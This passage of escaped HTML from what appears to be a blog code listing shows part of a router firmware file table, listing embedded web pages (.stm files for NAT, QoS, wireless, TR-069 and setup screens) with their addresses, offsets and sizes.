434&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum336&quot;&gt; 336:&lt;/span&gt; www\doc\nat_table74.stm             ?1:0xac514ed0 offset: 121617 size: 437&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum337&quot;&gt; 337:&lt;/span&gt; www\doc\nat_v72.stm                 ?1:0xac514ed0 offset: 122054 size: 433&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum338&quot;&gt; 338:&lt;/span&gt; www\doc\nw_mm_qstatus.stm           ?1:0xac514ed0 offset: 122487 size: 502&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum339&quot;&gt; 339:&lt;/span&gt; www\doc\nw_qstatus.stm              ?1:0xac514ed0 offset: 122989 size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum340&quot;&gt; 340:&lt;/span&gt; www\doc\n_firewall.stm              ?1:0xac514ed0 offset: 123432 size: 411&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum341&quot;&gt; 341:&lt;/span&gt; www\doc\n_nat.stm                   ?1:0xac514ed0 offset: 123843 size: 401&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum342&quot;&gt; 342:&lt;/span&gt; www\doc\n_wireless.stm              ?1:0xac514ed0 offset: 124244 size: 411&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum343&quot;&gt; 343:&lt;/span&gt; www\doc\qos.stm                     ?1:0xac514ed0 offset: 124655 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum344&quot;&gt; 344:&lt;/span&gt; www\doc\qos_tfm111.stm              ?1:0xac514ed0 offset: 125090 size: 434&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum345&quot;&gt; 345:&lt;/span&gt; www\doc\qos_tfs112.stm              ?1:0xac514ed0 offset: 125524 size: 434&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum346&quot;&gt; 346:&lt;/span&gt; www\doc\qstatus.stm                 ?1:0xac514ed0 offset: 125958 size: 440&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum347&quot;&gt; 347:&lt;/span&gt; www\doc\reset_main.stm              ?1:0xac514ed0 offset: 126398 size: 440&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum348&quot;&gt; 348:&lt;/span&gt; www\doc\route.stm                   ?1:0xac514ed0 offset: 126838 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum349&quot;&gt; 349:&lt;/span&gt; www\doc\route_tbl91.stm             ?1:0xac514ed0 offset: 127277 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum350&quot;&gt; 350:&lt;/span&gt; www\doc\r_mort93.stm                ?1:0xac514ed0 offset: 127716 size: 436&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum351&quot;&gt; 351:&lt;/span&gt; www\doc\r_rip92.stm                 ?1:0xac514ed0 offset: 128152 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum352&quot;&gt; 352:&lt;/span&gt; www\doc\setupw_2.stm                ?1:0xac514ed0 offset: 128587 size: 521&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum353&quot;&gt; 353:&lt;/span&gt; www\doc\setupw_3.stm                ?1:0xac514ed0 offset: 129108 size: 526&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum354&quot;&gt; 354:&lt;/span&gt; www\doc\setupw_4.stm                ?1:0xac514ed0 offset: 129634 size: 527&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum355&quot;&gt; 355:&lt;/span&gt; www\doc\setupw_5.stm                ?1:0xac514ed0 offset: 130161 size: 527&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum356&quot;&gt; 356:&lt;/span&gt; www\doc\snmp103.stm                 ?1:0xac514ed0 offset: 130688 size: 433&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum357&quot;&gt; 357:&lt;/span&gt; www\doc\status.stm                  ?1:0xac514ed0 offset: 131121 size: 444&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum358&quot;&gt; 358:&lt;/span&gt; www\doc\system.stm                  ?1:0xac514ed0 offset: 131565 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum359&quot;&gt; 359:&lt;/span&gt; www\doc\system_c33.stm              ?1:0xac514ed0 offset: 132004 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum360&quot;&gt; 360:&lt;/span&gt; www\doc\system_f34.stm              ?1:0xac514ed0 offset: 132443 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum361&quot;&gt; 361:&lt;/span&gt; www\doc\system_p32.stm              ?1:0xac514ed0 offset: 132882 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum362&quot;&gt; 362:&lt;/span&gt; www\doc\system_r35.stm              ?1:0xac514ed0 offset: 133321 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum363&quot;&gt; 363:&lt;/span&gt; www\doc\system_t31.stm              ?1:0xac514ed0 offset: 133760 size: 439&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum364&quot;&gt; 364:&lt;/span&gt; www\doc\sy_remote_mgmt102.stm       ?1:0xac514ed0 offset: 134199 size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum365&quot;&gt; 365:&lt;/span&gt; www\doc\tools_backup332.stm         ?1:0xac514ed0 offset: 134642 size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum366&quot;&gt; 366:&lt;/span&gt; www\doc\tools_restore333.stm        ?1:0xac514ed0 offset: 135085 size: 444&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum367&quot;&gt; 367:&lt;/span&gt; www\doc\tr69.stm                    ?1:0xac8235a8 offset: 135529 size: 5260&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum368&quot;&gt; 368:&lt;/span&gt; www\doc\upnp_main104.stm            ?1:0xac514ed0 offset: 140789 size: 438&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum369&quot;&gt; 369:&lt;/span&gt; www\doc\v_lan52.stm                 ?1:0xac514ed0 offset: 141227 size: 432&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum370&quot;&gt; 370:&lt;/span&gt; www\doc\v_lan_a53.stm               ?1:0xac514ed1 offset: 141659 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum371&quot;&gt; 371:&lt;/span&gt; www\doc\v_lan_a530.stm              ?1:0xac514ed1 offset: 142094 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum372&quot;&gt; 372:&lt;/span&gt; www\doc\v_lan_a531.stm              ?1:0xac514ed1 offset: 142529 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum373&quot;&gt; 373:&lt;/span&gt; www\doc\v_lan_a532.stm              ?1:0xac514ed1 offset: 142964 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum374&quot;&gt; 374:&lt;/span&gt; www\doc\v_lan_a533.stm              ?1:0xac514ed1 offset: 143399 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum375&quot;&gt; 375:&lt;/span&gt; www\doc\v_lan_a534.stm              ?1:0xac514ed1 offset: 143834 size: 435&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum376&quot;&gt; 376:&lt;/span&gt; www\doc\wait0.stm                   ?1:0xac514ed1 offset: 144269 size: 771&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum377&quot;&gt; 377:&lt;/span&gt; www\doc\wan.stm                     ?1:0xac514ed1 offset: 145040 size: 436&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum378&quot;&gt; 378:&lt;/span&gt; www\doc\wan_clone49.stm             ?1:0xac514ed1 offset: 145476 size: 437&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum379&quot;&gt; 379:&lt;/span&gt; www\doc\wireless.stm                ?1:0xac514ed1 offset: 145913 size: 446&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum380&quot;&gt; 380:&lt;/span&gt; www\doc\wireless_tmp.stm            ?1:0xac514ed1 offset: 146359 size: 409&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum381&quot;&gt; 381:&lt;/span&gt; www\doc\wl_1x66.stm                 ?1:0xac514ed1 offset: 146768 size: 444&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum382&quot;&gt; 382:&lt;/span&gt; www\doc\wl_e63.stm                  ?1:0xac514ed1 offset: 147212 size: 443&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum383&quot;&gt; 383:&lt;/span&gt; www\doc\wl_id61.stm                 ?1:0xac514ed1 offset: 147655 size: 444&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum384&quot;&gt; 384:&lt;/span&gt; www\doc\wl_mac62.stm                ?1:0xac514ed1 offset: 148099 size: 445&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum385&quot;&gt; 385:&lt;/span&gt; www\doc\wl_wep64.stm                ?1:0xac514ed1 offset: 148544 size: 445&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum386&quot;&gt; 386:&lt;/span&gt; www\doc\wl_wpa65.stm                ?1:0xac514ed1 offset: 148989 size: 